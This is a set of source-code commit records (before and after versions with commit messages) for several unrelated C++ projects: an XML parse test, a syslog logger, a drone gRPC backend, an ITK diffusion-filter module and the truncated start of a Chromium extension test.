node.getCdata();\n break;\n }\n\n if(type == xml_nt_cdata)\n cout << c << name.c_str() << \"[\" << c_data << \"]\" << endl;\n else\n cout << c << name.c_str() << endl;\n\n XMLAttributes attr = node.getAttrmap();\n\n \/\/ guru: added output of attributes\n for (XMLAttributes::iterator j = attr.begin(); j!=attr.end(); j++)\n {\n for (int i=0; i<level; i++)\n cout << \" \";\n cout << \" \";\n cout << j->first << \": \" << j->second << endl;\n }\n\n XMLNodeList& nlist = node.getChildren();\n\n XMLNodeList::const_iterator iter, stop;\n iter = nlist.begin();\n stop = nlist.end();\n\n while (iter != stop)\n {\n XMLNodePtr node = *iter;\n\n dump_node ( *node, level+1 );\n\n ++iter;\n }\n};\n\nvoid process_xml( std::string filename )\n{\n cout << \"processing [\" << filename << \"] ...\" << endl;\n\n XMLContextPtr context( new XMLContext );\n XMLDocument node( context );\n ifstream istr( filename.c_str() );\n\n \/\/ Verify that file opened\n if(!istr)\n {\n std::cerr << \"Bad file: \" << filename << std::endl;\n return;\n }\n\n try\n {\n clock_t tstart = ::clock();\n\n node.load( istr, context );\n\n clock_t tstop = ::clock();\n cout << \" needed \" <<\n (tstop-tstart)\/static_cast<float>(CLOCKS_PER_SEC)\n << \" seconds.\" << endl;\n\n dump_node( node );\n\n ofstream ostr( \"parsetest.xml\" );\n node.save( ostr );\n ostr.close();\n\n }\n catch (xmlerror e)\n {\n XMLLocation where( context->get_location() );\n XMLString errmsg;\n e.getStrError(errmsg);\n\n \/\/ print out where the error occured\n cout << filename << \":\" << where.getLine() << \" \";\n cout << \"at position \" << where.getPos();\n cout << \": error: \" << errmsg.c_str();\n cout << endl;\n\n \/\/ print out line where the error occured\n ifstream errfile( filename.c_str() );\n if(!errfile)\n {\n std::cerr << \"Can't open file [\" << filename << \"] to output error\" << std::endl;\n }\n\n int linenr = where.get_line();\n char linebuffer[1024];\n for(int i=0; i<linenr && !errfile.eof(); i++)\n errfile.getline(linebuffer,1024);\n\n int pos = where.get_pos();\n if (pos>=80)\n pos %= 80;\n\n std::string err_line( linebuffer + (where.get_pos()-pos) );\n if (err_line.length()>=79)\n err_line.erase(79);\n cout << err_line << std::flush;\n cout << err_line.c_str() << std::endl;\n cout << linebuffer << std::endl;\n for(int j=2;j<pos;j++)\n std::cout << \" \";\n cout << '^' << endl;\n }\n}\n\nint main(int argc, char* argv[])\n{\n for(int i=1;i<argc;i++)\n {\n process_xml( std::string(argv[i]) );\n }\n\n return 0;\n}\n<commit_msg>updated to current cppdom api changes<commit_after>\/\/ Parse test application\n\/\/ Based upon: parsetest.cpp from xmlpp\n\n\/\/ needed includes\n#include <fstream>\n#include <iostream>\n#include <ctime>\n#include <cppdom\/cppdom.h>\n\n\/\/ namespace includes\nusing namespace cppdom;\nusing namespace std;\n\n\n\/\/ dumps the node\nvoid dump_node( XMLNode &node, int level = 0 )\n{\n XMLString name = node.getName();\n XMLNodeType type = node.getType();\n XMLString c_data;\n\n for(int i=0;i<level;i++) cout << \" \";\n\n char c = ' ';\n switch(type)\n {\n case xml_nt_node:\n c = '+';\n break;\n case xml_nt_leaf:\n c = '-';\n break;\n case xml_nt_document:\n c = '\\\\';\n break;\n case xml_nt_cdata:\n c = '#';\n c_data = node.getCdata();\n break;\n }\n\n if(type == xml_nt_cdata)\n cout << c << name.c_str() << \"[\" << c_data << \"]\" << endl;\n else\n cout << c << name.c_str() << endl;\n\n XMLAttributes attr = node.getAttrMap();\n\n \/\/ guru: added output of attributes\n for (XMLAttributes::iterator j = attr.begin(); j!=attr.end(); j++)\n {\n for (int i=0; i<level; i++)\n cout << \" \";\n cout << \" \";\n cout << j->first << \": \" << j->second << endl;\n }\n\n XMLNodeList& nlist = node.getChildren();\n\n XMLNodeList::const_iterator iter, stop;\n iter = nlist.begin();\n stop = nlist.end();\n\n while (iter != stop)\n {\n XMLNodePtr node = *iter;\n\n dump_node ( *node, level+1 );\n\n ++iter;\n }\n};\n\nvoid process_xml( std::string filename )\n{\n cout << \"processing [\" << filename << \"] ...\" << endl;\n\n XMLContextPtr context( new XMLContext );\n XMLDocument node( context );\n ifstream istr( filename.c_str() );\n\n \/\/ Verify that file opened\n if(!istr)\n {\n std::cerr << \"Bad file: \" << filename << std::endl;\n return;\n }\n\n try\n {\n clock_t tstart = ::clock();\n\n node.load( istr, context );\n\n clock_t tstop = ::clock();\n cout << \" needed \" <<\n (tstop-tstart)\/static_cast<float>(CLOCKS_PER_SEC)\n << \" seconds.\" << endl;\n\n dump_node( node );\n\n ofstream ostr( \"parsetest.xml\" );\n node.save( ostr );\n ostr.close();\n\n }\n catch (XMLError e)\n {\n XMLLocation where( context->getLocation() );\n XMLString errmsg;\n e.getStrError(errmsg);\n\n \/\/ print out where the error occured\n cout << filename << \":\" << where.getLine() << \" \";\n cout << \"at position \" << where.getPos();\n cout << \": error: \" << errmsg.c_str();\n cout << endl;\n\n \/\/ print out line where the error occured\n ifstream errfile( filename.c_str() );\n if(!errfile)\n {\n std::cerr << \"Can't open file [\" << filename << \"] to output error\" << std::endl;\n }\n\n int linenr = where.getLine();\n char linebuffer[1024];\n for(int i=0; i<linenr && !errfile.eof(); i++)\n errfile.getline( linebuffer,1024 );\n\n int pos = where.getPos();\n if (pos>=80)\n pos %= 80;\n\n std::string err_line( linebuffer + (where.getPos()-pos) );\n if (err_line.length()>=79)\n err_line.erase(79);\n cout << err_line << std::flush;\n cout << err_line.c_str() << std::endl;\n cout << linebuffer << std::endl;\n for(int j=2;j<pos;j++)\n std::cout << \" \";\n cout << '^' << endl;\n }\n}\n\nint main(int argc, char* argv[])\n{\n for(int i=1;i<argc;i++)\n {\n process_xml( std::string(argv[i]) );\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n*\n*\tAuthor: Philipp Zschoche\n*\tGitHub: https:\/\/github.com\/zschoche\n*\n*\/\n#if !defined(_WIN32) && (defined(__unix__) || defined(__unix) || (defined(__APPLE__) && defined(__MACH__)))\n#ifndef __SYSLOG_LOGGERS_HPP__\n#define __SYSLOG_LOGGERS_HPP__\n\n#include <syslog.h>\n#include \"logger.hpp\"\n\t\t\nnamespace mlog \n{\n\tclass syslog_logger : public logger \n\t{\n\tpublic:\n\t\tenum syslog_level {\n\t\t\tEMERG =\t\tLOG_EMERG,\t\/* system is unusable *\/\n\t\t\tALERT =\t\tLOG_ALERT,\t\/* action must be taken immediately *\/\n\t\t\tCRIT =\t\tLOG_CRIT,\t\/* critical conditions *\/\n\t\t\tERR\t=\tLOG_ERR,\t\/* error conditions *\/\n\t\t\tWARNING =\tLOG_WARNING,\t\/* warning conditions *\/\n\t\t\tNOTICE =\tLOG_NOTICE,\t\/* normal but significant condition *\/\n\t\t\tINFO =\t\tLOG_INFO,\t\/* informational *\/\n\t\t\tDEBUG = \tLOG_DEBUG\t\/* debug *\/\t\t\n\t\t};\n\t\n\t\t syslog_logger(const char* ident = nullptr, int option = LOG_CONS | LOG_PID | LOG_NDELAY, int facility = LOG_LOCAL1)\n\t\t :level(syslog_level::NOTICE) {\n \t\t\tsetlogmask(LOG_UPTO(syslog_level::DEBUG)); \/\/ mlog handle that by its own.\n\t\t\topenlog(ident, option, facility);\n\t\t}\n\n\t\tvirtual ~syslog_logger() {\n\t\t\tcloselog();\n\t\t\tlogger::~logger();\n\t\t}\n\n\t\tvoid write_to_log(log_metadata &&metadata,\n\t\t\t\t std::string &&log_text) {\n\t\t\tsyslog(level, \"%s\", metadata.to_string(log_text).c_str());\n\t\t}\n\n\t\tvoid write_to_log(const log_metadata& metadata,\n\t\t\t\t const std::string& log_text) {\n\t\t\tsyslog(level, \"%s\", metadata.to_string(log_text).c_str());\n\t\t}\n\t\t\n\t\tsyslog_level level;\n\n\n\t};\n} \/* mlog *\/\n\n\n#endif \/* ___HPP__ *\/\n#endif \n\n<commit_msg>This wasn't a good idea. at all. -.-<commit_after>\/*\n*\n*\tAuthor: Philipp Zschoche\n*\tGitHub: https:\/\/github.com\/zschoche\n*\n*\/\n#if !defined(_WIN32) && (defined(__unix__) || defined(__unix) || (defined(__APPLE__) && defined(__MACH__)))\n#ifndef __SYSLOG_LOGGERS_HPP__\n#define __SYSLOG_LOGGERS_HPP__\n\n#include <syslog.h>\n#include \"logger.hpp\"\n\t\t\nnamespace mlog \n{\n\tclass syslog_logger : public logger \n\t{\n\tpublic:\n\t\tenum syslog_level {\n\t\t\tEMERG =\t\tLOG_EMERG,\t\/* system is unusable *\/\n\t\t\tALERT =\t\tLOG_ALERT,\t\/* action must be taken immediately *\/\n\t\t\tCRIT =\t\tLOG_CRIT,\t\/* critical conditions *\/\n\t\t\tERR\t=\tLOG_ERR,\t\/* error conditions *\/\n\t\t\tWARNING =\tLOG_WARNING,\t\/* warning conditions *\/\n\t\t\tNOTICE =\tLOG_NOTICE,\t\/* normal but significant condition *\/\n\t\t\tINFO =\t\tLOG_INFO,\t\/* informational *\/\n\t\t\tDEBUG = \tLOG_DEBUG\t\/* debug *\/\t\t\n\t\t};\n\t\n\t\t syslog_logger(const char* ident = nullptr, int option = LOG_CONS | LOG_PID | LOG_NDELAY, int facility = LOG_LOCAL1)\n\t\t :level(syslog_level::NOTICE) {\n \t\t\tsetlogmask(LOG_UPTO(syslog_level::DEBUG)); \/\/ mlog handle that by its own.\n\t\t\topenlog(ident, option, facility);\n\t\t}\n\n\t\tvirtual ~syslog_logger() {\n\t\t\tcloselog();\n\t\t}\n\n\t\tvoid write_to_log(log_metadata &&metadata,\n\t\t\t\t std::string &&log_text) {\n\t\t\tsyslog(level, \"%s\", metadata.to_string(log_text).c_str());\n\t\t}\n\n\t\tvoid write_to_log(const log_metadata& metadata,\n\t\t\t\t const std::string& log_text) {\n\t\t\tsyslog(level, \"%s\", metadata.to_string(log_text).c_str());\n\t\t}\n\t\t\n\t\tsyslog_level level;\n\n\n\t};\n} \/* mlog *\/\n\n\n#endif \/* ___HPP__ *\/\n#endif \n\n<|endoftext|>"} {"text":"<commit_before>#include \"backend.h\"\n\n#include <grpc\/grpc.h>\n#include <grpc++\/server.h>\n#include <grpc++\/server_builder.h>\n#include <grpc++\/server_context.h>\n#include <grpc++\/security\/server_credentials.h>\n#include <memory>\n#include <mutex>\n\n#include \"action\/action.h\"\n#include \"action\/action_service_impl.h\"\n#include \"connection_initiator.h\"\n#include \"core\/corerpc_impl.h\"\n#include \"dronecore.h\"\n#include \"log.h\"\n#include \"mission\/mission.h\"\n#include \"mission\/mission_service_impl.h\"\n#include \"telemetry\/telemetry_service_impl.h\"\n\nnamespace dronecore {\nnamespace backend {\n\nclass DroneCoreBackend::Impl\n{\npublic:\n Impl() {}\n ~Impl() {}\n\n bool run(const int mavlink_listen_port)\n {\n _connection_initiator.start(_dc, 14540);\n _connection_initiator.wait();\n\n grpc::ServerBuilder builder;\n setup_port(builder);\n\n CoreServiceImpl core(_dc);\n builder.RegisterService(&core);\n\n Action action(_dc.system());\n ActionServiceImpl<dronecore::Action> actionService(action);\n builder.RegisterService(&actionService);\n\n Mission mission(_dc.system());\n MissionServiceImpl<dronecore::Mission> missionService(mission);\n\n builder.RegisterService(&missionService);\n\n Telemetry telemetry(_dc.system());\n TelemetryServiceImpl<> telemetryService(telemetry);\n\n builder.RegisterService(&telemetryService);\n\n _server = builder.BuildAndStart();\n LogInfo() << \"Server started\";\n _server->Wait();\n\n return true;\n }\n\nprivate:\n void setup_port(grpc::ServerBuilder &builder)\n {\n std::string server_address(\"0.0.0.0:50051\");\n builder.AddListeningPort(server_address, grpc::InsecureServerCredentials());\n LogInfo() << \"Server set to listen on \" << server_address;\n }\n\n dronecore::DroneCore _dc;\n dronecore::backend::ConnectionInitiator<dronecore::DroneCore> _connection_initiator;\n std::unique_ptr<grpc::Server> _server;\n};\n\nDroneCoreBackend::DroneCoreBackend() : _impl(new Impl()) {}\nDroneCoreBackend::~DroneCoreBackend() = default;\n\nbool DroneCoreBackend::run(const int mavlink_listen_port) { return _impl->run(mavlink_listen_port); }\n\n} \/\/ namespace backend\n} \/\/ namespace dronecore\n<commit_msg>backend: update mission proto file<commit_after>#include \"backend.h\"\n\n#include <grpc\/grpc.h>\n#include <grpc++\/server.h>\n#include <grpc++\/server_builder.h>\n#include <grpc++\/server_context.h>\n#include <grpc++\/security\/server_credentials.h>\n#include <memory>\n#include <mutex>\n\n#include \"action\/action.h\"\n#include \"action\/action_service_impl.h\"\n#include \"connection_initiator.h\"\n#include \"core\/corerpc_impl.h\"\n#include \"dronecore.h\"\n#include \"log.h\"\n#include \"mission\/mission_service_impl.h\"\n#include \"telemetry\/telemetry_service_impl.h\"\n\nnamespace dronecore {\nnamespace backend {\n\nclass DroneCoreBackend::Impl\n{\npublic:\n Impl() {}\n ~Impl() {}\n\n bool run(const int mavlink_listen_port)\n {\n _connection_initiator.start(_dc, 14540);\n _connection_initiator.wait();\n\n grpc::ServerBuilder builder;\n setup_port(builder);\n\n CoreServiceImpl core(_dc);\n builder.RegisterService(&core);\n\n Action action(_dc.system());\n ActionServiceImpl<dronecore::Action> actionService(action);\n builder.RegisterService(&actionService);\n\n Mission mission(_dc.system());\n MissionServiceImpl<dronecore::Mission> missionService(mission);\n\n builder.RegisterService(&missionService);\n\n Telemetry telemetry(_dc.system());\n TelemetryServiceImpl<> telemetryService(telemetry);\n\n builder.RegisterService(&telemetryService);\n\n _server = builder.BuildAndStart();\n LogInfo() << \"Server started\";\n _server->Wait();\n\n return true;\n }\n\nprivate:\n void setup_port(grpc::ServerBuilder &builder)\n {\n std::string server_address(\"0.0.0.0:50051\");\n builder.AddListeningPort(server_address, grpc::InsecureServerCredentials());\n LogInfo() << \"Server set to listen on \" << server_address;\n }\n\n dronecore::DroneCore _dc;\n dronecore::backend::ConnectionInitiator<dronecore::DroneCore> _connection_initiator;\n std::unique_ptr<grpc::Server> _server;\n};\n\nDroneCoreBackend::DroneCoreBackend() : _impl(new Impl()) {}\nDroneCoreBackend::~DroneCoreBackend() = default;\n\nbool DroneCoreBackend::run(const int mavlink_listen_port) { return _impl->run(mavlink_listen_port); }\n\n} \/\/ namespace backend\n} \/\/ namespace dronecore\n<|endoftext|>"} {"text":"<commit_before>#include \"itkImageFileWriter.h\"\n\n#include \"AnisotropicAnomalousDiffusionImageFilter.h\"\n#include \"itkCastImageFilter.h\"\n\n#include \"itkPluginUtilities.h\"\n\n#include \"AADDiffusionWeightedDataCLP.h\"\n\n\/\/ Use an anonymous namespace to keep class types and function names\n\/\/ from colliding when module is used as shared object module. Every\n\/\/ thing should be in an anonymous namespace except for the module\n\/\/ entry point, e.g. main()\n\/\/\nnamespace\n{\n\ntemplate <class T>\nint DoIt( int argc, char * argv[], T )\n{\n PARSE_ARGS;\n\n typedef float InputPixelType;\n typedef T OutputPixelType;\n\n typedef itk::Image<InputPixelType, 3> InputImageType;\n typedef itk::Image<OutputPixelType, 3> OutputImageType;\n\n typedef itk::ImageFileReader<InputImageType> ReaderType;\n typedef itk::ImageFileWriter<OutputImageType> WriterType;\n typedef itk::CastImageFilter<InputImageType, OutputImageType> CastType;\n\n typedef itk::AnisotropicAnomalousDiffusionImageFilter<InputImageType, InputImageType> FilterType;\n\n typename ReaderType::Pointer reader = ReaderType::New();\n itk::PluginFilterWatcher watchReader(reader, \"Read Volume\",CLPProcessInformation);\n\n reader->SetFileName( inputVolume.c_str() );\n\n typename FilterType::Pointer filter = FilterType::New();\n itk::PluginFilterWatcher watchFilter(filter, \"Anisotropic Anomalous Diffusion\",CLPProcessInformation);\n\n filter->SetInput( reader->GetOutput() );\n filter->SetIterations(iterations);\n filter->SetCondutance(condutance);\n filter->SetTimeStep(timeStep);\n filter->SetQ(q);\n\n typename CastType::Pointer cast = CastType::New();\n cast->SetInput( filter->GetOutput() );\n\n typename WriterType::Pointer writer = WriterType::New();\n itk::PluginFilterWatcher watchWriter(writer, \"Write Volume\",CLPProcessInformation);\n\n writer->SetFileName( outputVolume.c_str() );\n writer->SetInput( cast->GetOutput() );\n writer->SetUseCompression(1);\n writer->Update();\n\n return EXIT_SUCCESS;\n}\n\n} \/\/ end of anonymous namespace\n\nint main( int argc, char * argv[] )\n{\n PARSE_ARGS;\n\n itk::ImageIOBase::IOPixelType pixelType;\n itk::ImageIOBase::IOComponentType componentType;\n\n try\n {\n itk::GetImageType(inputVolume, pixelType, componentType);\n\n \/\/ This filter handles all types on input, but only produces\n \/\/ signed types\n switch( componentType )\n {\n case itk::ImageIOBase::UCHAR:\n return DoIt( argc, argv, static_cast<unsigned char>(0) );\n break;\n case itk::ImageIOBase::CHAR:\n return DoIt( argc, argv, static_cast<char>(0) );\n break;\n case itk::ImageIOBase::USHORT:\n return DoIt( argc, argv, static_cast<unsigned short>(0) );\n break;\n case itk::ImageIOBase::SHORT:\n return DoIt( argc, argv, static_cast<short>(0) );\n break;\n case itk::ImageIOBase::UINT:\n return DoIt( argc, argv, static_cast<unsigned int>(0) );\n break;\n case itk::ImageIOBase::INT:\n return DoIt( argc, argv, static_cast<int>(0) );\n break;\n case itk::ImageIOBase::ULONG:\n return DoIt( argc, argv, static_cast<unsigned long>(0) );\n break;\n case itk::ImageIOBase::LONG:\n return DoIt( argc, argv, static_cast<long>(0) );\n break;\n case itk::ImageIOBase::FLOAT:\n return DoIt( argc, argv, static_cast<float>(0) );\n break;\n case itk::ImageIOBase::DOUBLE:\n return DoIt( argc, argv, static_cast<double>(0) );\n break;\n case itk::ImageIOBase::UNKNOWNCOMPONENTTYPE:\n default:\n std::cout << \"unknown component type\" << std::endl;\n break;\n }\n }\n\n catch( itk::ExceptionObject & excep )\n {\n std::cerr << argv[0] << \": exception caught !\" << std::endl;\n std::cerr << excep << std::endl;\n return EXIT_FAILURE;\n }\n return EXIT_SUCCESS;\n}\n<commit_msg>Complete implementation of AAD filter on DWI data processing.<commit_after>#include \"AnisotropicAnomalousDiffusionImageFilter.h\"\n\n#include \"itkPluginUtilities.h\"\n\n#include <itkMetaDataObject.h>\n#include <itkImageFileWriter.h>\n#include <itkNrrdImageIO.h>\n#include <itkCastImageFilter.h>\n#if ITK_VERSION_MAJOR < 4\n#include \"itkCompose3DCovariantVectorImageFilter.h\"\n#else\n#include \"itkComposeImageFilter.h\"\n#endif\n\n\n#include <itkDiffusionTensor3DReconstructionImageFilter.h>\n#include <itkTensorFractionalAnisotropyImageFilter.h>\n#include <itkTensorRelativeAnisotropyImageFilter.h>\n\n#include \"AADDiffusionWeightedDataCLP.h\"\n\n\n\/\/ Use an anonymous namespace to keep class types and function names\n\/\/ from colliding when module is used as shared object module. Every\n\/\/ thing should be in an anonymous namespace except for the module\n\/\/ entry point, e.g. main()\n\/\/\n\nnamespace\n{\n\ntemplate <class T>\nint DoIt( int argc, char * argv[], T )\n{\n PARSE_ARGS;\n\n const unsigned int Dimension = 3;\n unsigned int numberOfImages = 0;\n unsigned int numberOfGradientImages = 0;\n bool readb0 = false;\n double b0 = 0;\n typedef short PixelType;\n typedef itk::VectorImage<PixelType, Dimension> VectorImageType;\n typedef itk::Image< PixelType, Dimension > ScalarImageType;\n itk::ImageFileReader<VectorImageType>::Pointer reader = itk::ImageFileReader<VectorImageType>::New();\n VectorImageType::Pointer img;\n typedef itk::AnisotropicAnomalousDiffusionImageFilter<ScalarImageType, ScalarImageType> AADFilterType;\n \/\/ Set the properties for NrrdReader\n reader->SetFileName( inputVolume.c_str());\n \/\/ Read in the nrrd data. The file contains the reference image and the gradient\n \/\/ images.\n try\n {\n reader->Update();\n img = reader->GetOutput();\n }\n catch (itk::ExceptionObject &ex)\n {\n std::cout << ex << std::endl;\n return EXIT_FAILURE;\n }\n \/\/ Here we instantiate the DiffusionTensor3DReconstructionImageFilter class.\n \/\/ The class is templated over the pixel types of the reference, gradient\n \/\/ and the to be created tensor pixel's precision. (We use double here). It\n \/\/ takes as input the Reference (B0 image aquired in the absence of diffusion\n \/\/ sensitizing gradients), 'n' Gradient images and their directions and produces\n \/\/ as output an image of tensors with pixel-type DiffusionTensor3D.\n \/\/\n typedef itk::DiffusionTensor3DReconstructionImageFilter<\n PixelType, PixelType, double > TensorReconstructionImageFilterType;\n \/\/ -------------------------------------------------------------------------\n \/\/ Parse the Nrrd headers to get the B value and the gradient directions used\n \/\/ for diffusion weighting.\n \/\/\n \/\/ The Nrrd headers should look like :\n \/\/ The tags specify the B value and the gradient directions. If gradient\n \/\/ directions are (0,0,0), it indicates that it is a reference image.\n \/\/\n \/\/ DWMRI_b-value:=800\n \/\/ DWMRI_gradient_0000:= 0 0 0\n \/\/ DWMRI_gradient_0001:=-1.000000 0.000000 0.000000\n \/\/ DWMRI_gradient_0002:=-0.166000 0.986000 0.000000\n \/\/ DWMRI_gradient_0003:=0.110000 0.664000 0.740000\n \/\/ ...\n \/\/\n itk::MetaDataDictionary imgMetaDictionary = img->GetMetaDataDictionary();\n std::vector<std::string> imgMetaKeys = imgMetaDictionary.GetKeys();\n std::vector<std::string>::const_iterator itKey = imgMetaKeys.begin();\n std::string metaString;\n TensorReconstructionImageFilterType::GradientDirectionType vect3d;\n TensorReconstructionImageFilterType::GradientDirectionContainerType::Pointer\n DiffusionVectors =\n TensorReconstructionImageFilterType::GradientDirectionContainerType::New();\n for (; itKey != imgMetaKeys.end(); ++itKey)\n {\n double x,y,z;\n itk::ExposeMetaData<std::string> (imgMetaDictionary, *itKey, metaString);\n if (itKey->find(\"DWMRI_gradient\") != std::string::npos)\n {\n std::cout << *itKey << \" ---> \" << metaString << std::endl;\n sscanf(metaString.c_str(), \"%lf %lf %lf\\n\", &x, &y, &z);\n vect3d[0] = x; vect3d[1] = y; vect3d[2] = z;\n DiffusionVectors->InsertElement( numberOfImages, vect3d );\n ++numberOfImages;\n \/\/ If the direction is 0.0, this is a reference image\n if (vect3d[0] == 0.0 &&\n vect3d[1] == 0.0 &&\n vect3d[2] == 0.0)\n {\n continue;\n }\n ++numberOfGradientImages;\n }\n else if (itKey->find(\"DWMRI_b-value\") != std::string::npos)\n {\n std::cout << *itKey << \" ---> \" << metaString << std::endl;\n readb0 = true;\n b0 = atof(metaString.c_str());\n }\n }\n std::cout << \"Number of gradient images: \"\n << numberOfGradientImages\n << \" and Number of reference images: \"\n << numberOfImages - numberOfGradientImages\n << std::endl;\n if(!readb0)\n {\n std::cerr << \"BValue not specified in header file\" << std::endl;\n return EXIT_FAILURE;\n }\n\n std::vector< ScalarImageType::Pointer > imageContainer;\n \/\/ iterator to iterate over the DWI Vector image just read in.\n typedef itk::ImageRegionConstIterator< VectorImageType > DWIIteratorType;\n DWIIteratorType dwiit( img, img->GetBufferedRegion() );\n typedef itk::ImageRegionIterator< ScalarImageType > IteratorType;\n\n\n\n#if ITK_VERSION_MAJOR < 4\n typedef itk::Compose3DCovariantVectorImageFilter<ScalarImageType,\n VectorImageType> ScalarToVectorFilterType;\n#else\n typedef itk::ComposeImageFilter<ScalarImageType,\n VectorImageType> ScalarToVectorFilterType;\n#endif\n typename ScalarToVectorFilterType::Pointer scalarToVectorImageFilter = ScalarToVectorFilterType::New();\n for( unsigned int i = 0; i<numberOfImages; i++ )\n {\n ScalarImageType::Pointer image = ScalarImageType::New();\n image->CopyInformation( img );\n image->SetBufferedRegion( img->GetBufferedRegion() );\n image->SetRequestedRegion( img->GetRequestedRegion() );\n image->Allocate();\n IteratorType it( image, image->GetBufferedRegion() );\n dwiit.GoToBegin();\n it.GoToBegin();\n while (!it.IsAtEnd())\n {\n it.Set(dwiit.Get()[i]);\n ++it;\n ++dwiit;\n }\n imageContainer.push_back( image );\n\n }\n\n for(unsigned int countImage=0; countImage<numberOfImages; countImage++){\n typename AADFilterType::Pointer filter = AADFilterType::New();\n filter->SetInput( imageContainer[countImage] );\n filter->SetIterations(iterations);\n filter->SetCondutance(condutance);\n filter->SetTimeStep(timeStep);\n filter->SetQ(q);\n filter->Update();\n\n scalarToVectorImageFilter->SetInput(countImage, filter->GetOutput());\n }\n\n scalarToVectorImageFilter->Update();\n VectorImageType::Pointer diffusionImage = scalarToVectorImageFilter->GetOutput();\n\n \/\/ let's write it out\n\n typename itk::NrrdImageIO::Pointer io = itk::NrrdImageIO::New();\n\n itk::MetaDataDictionary metaDataDictionary;\n metaDataDictionary = reader->GetMetaDataDictionary();\n\n io->SetFileTypeToBinary();\n io->SetMetaDataDictionary( metaDataDictionary );\n\n typedef itk::ImageFileWriter<VectorImageType> WriterType;\n typename WriterType::Pointer nrrdWriter = WriterType::New();\n nrrdWriter->UseInputMetaDataDictionaryOff();\n nrrdWriter->SetInput( diffusionImage );\n nrrdWriter->SetImageIO(io);\n nrrdWriter->SetFileName( outputVolume.c_str() );\n nrrdWriter->UseCompressionOn();\n try\n {\n nrrdWriter->Update();\n }\n catch( itk::ExceptionObject e )\n {\n std::cerr << argv[0] << \": exception caught !\" << std::endl;\n std::cerr << e << std::endl;\n return EXIT_FAILURE;\n }\n\n return EXIT_SUCCESS;\n\n}\n\n} \/\/ end of anonymous namespace\n\nint main( int argc, char * argv[] )\n{\n PARSE_ARGS;\n\n itk::ImageIOBase::IOPixelType pixelType;\n itk::ImageIOBase::IOComponentType componentType;\n\n try\n {\n itk::GetImageType(inputVolume, pixelType, componentType);\n\n \/\/ This filter handles all types on input, but only produces\n \/\/ signed types\n switch( componentType )\n {\n case itk::ImageIOBase::UCHAR:\n return DoIt( argc, argv, static_cast<unsigned char>(0) );\n break;\n case itk::ImageIOBase::CHAR:\n return DoIt( argc, argv, static_cast<char>(0) );\n break;\n case itk::ImageIOBase::USHORT:\n return DoIt( argc, argv, static_cast<unsigned short>(0) );\n break;\n case itk::ImageIOBase::SHORT:\n return DoIt( argc, argv, static_cast<short>(0) );\n break;\n case itk::ImageIOBase::UINT:\n return DoIt( argc, argv, static_cast<unsigned int>(0) );\n break;\n case itk::ImageIOBase::INT:\n return DoIt( argc, argv, static_cast<int>(0) );\n break;\n case itk::ImageIOBase::ULONG:\n return DoIt( argc, argv, static_cast<unsigned long>(0) );\n break;\n case itk::ImageIOBase::LONG:\n return DoIt( argc, argv, static_cast<long>(0) );\n break;\n case itk::ImageIOBase::FLOAT:\n return DoIt( argc, argv, static_cast<float>(0) );\n break;\n case itk::ImageIOBase::DOUBLE:\n return DoIt( argc, argv, static_cast<double>(0) );\n break;\n case itk::ImageIOBase::UNKNOWNCOMPONENTTYPE:\n default:\n std::cout << \"unknown component type\" << std::endl;\n break;\n }\n }\n\n catch( itk::ExceptionObject & excep )\n {\n std::cerr << argv[0] << \": exception caught !\" << std::endl;\n std::cerr << excep << std::endl;\n return EXIT_FAILURE;\n }\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <vector>\n\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/stringprintf.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_function_test_utils.h\"\n#include \"chrome\/browser\/extensions\/extension_install_dialog.h\"\n#include \"chrome\/browser\/extensions\/extension_install_ui.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/extension_webstore_private_api.h\"\n#include \"chrome\/browser\/extensions\/webstore_installer.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/chrome_notification_types.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/test_launcher_utils.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/browser\/gpu\/gpu_blacklist.h\"\n#include \"content\/public\/browser\/notification_observer.h\"\n#include \"content\/public\/browser\/notification_registrar.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n#include \"ui\/gfx\/gl\/gl_switches.h\"\n\nusing namespace extension_function_test_utils;\n\nnamespace {\n\nclass WebstoreInstallListener : public WebstoreInstaller::Delegate {\n public:\n WebstoreInstallListener()\n : received_failure_(false), received_success_(false), waiting_(false) {}\n\n void OnExtensionInstallSuccess(const std::string& id) OVERRIDE;\n void OnExtensionInstallFailure(const std::string& id,\n const std::string& error) OVERRIDE;\n void Wait();\n\n bool received_failure() const { return received_failure_; }\n bool received_success() const { return received_success_; }\n const std::string& id() const { return id_; }\n const std::string& error() const { return error_; }\n\n private:\n bool received_failure_;\n bool received_success_;\n bool waiting_;\n std::string id_;\n std::string error_;\n};\n\nvoid WebstoreInstallListener::OnExtensionInstallSuccess(const std::string& id) {\n received_success_ = true;\n id_ = id;\n\n if (waiting_) {\n waiting_ = false;\n MessageLoopForUI::current()->Quit();\n }\n}\n\nvoid WebstoreInstallListener::OnExtensionInstallFailure(\n const std::string& id, const std::string& error) {\n received_failure_ = true;\n id_ = id;\n error_ = error;\n\n if (waiting_) {\n waiting_ = false;\n MessageLoopForUI::current()->Quit();\n }\n}\n\nvoid WebstoreInstallListener::Wait() {\n if (received_success_ || received_failure_)\n return;\n\n waiting_ = true;\n ui_test_utils::RunMessageLoop();\n}\n\n} \/\/ namespace\n\n\/\/ A base class for tests below.\nclass ExtensionWebstorePrivateApiTest : public ExtensionApiTest {\n public:\n void SetUpCommandLine(CommandLine* command_line) OVERRIDE {\n ExtensionApiTest::SetUpCommandLine(command_line);\n command_line->AppendSwitchASCII(\n switches::kAppsGalleryURL, \"http:\/\/www.example.com\");\n command_line->AppendSwitchASCII(\n switches::kAppsGalleryInstallAutoConfirmForTests, \"accept\");\n }\n\n void SetUpInProcessBrowserTestFixture() OVERRIDE {\n \/\/ Start up the test server and get us ready for calling the install\n \/\/ API functions.\n host_resolver()->AddRule(\"www.example.com\", \"127.0.0.1\");\n 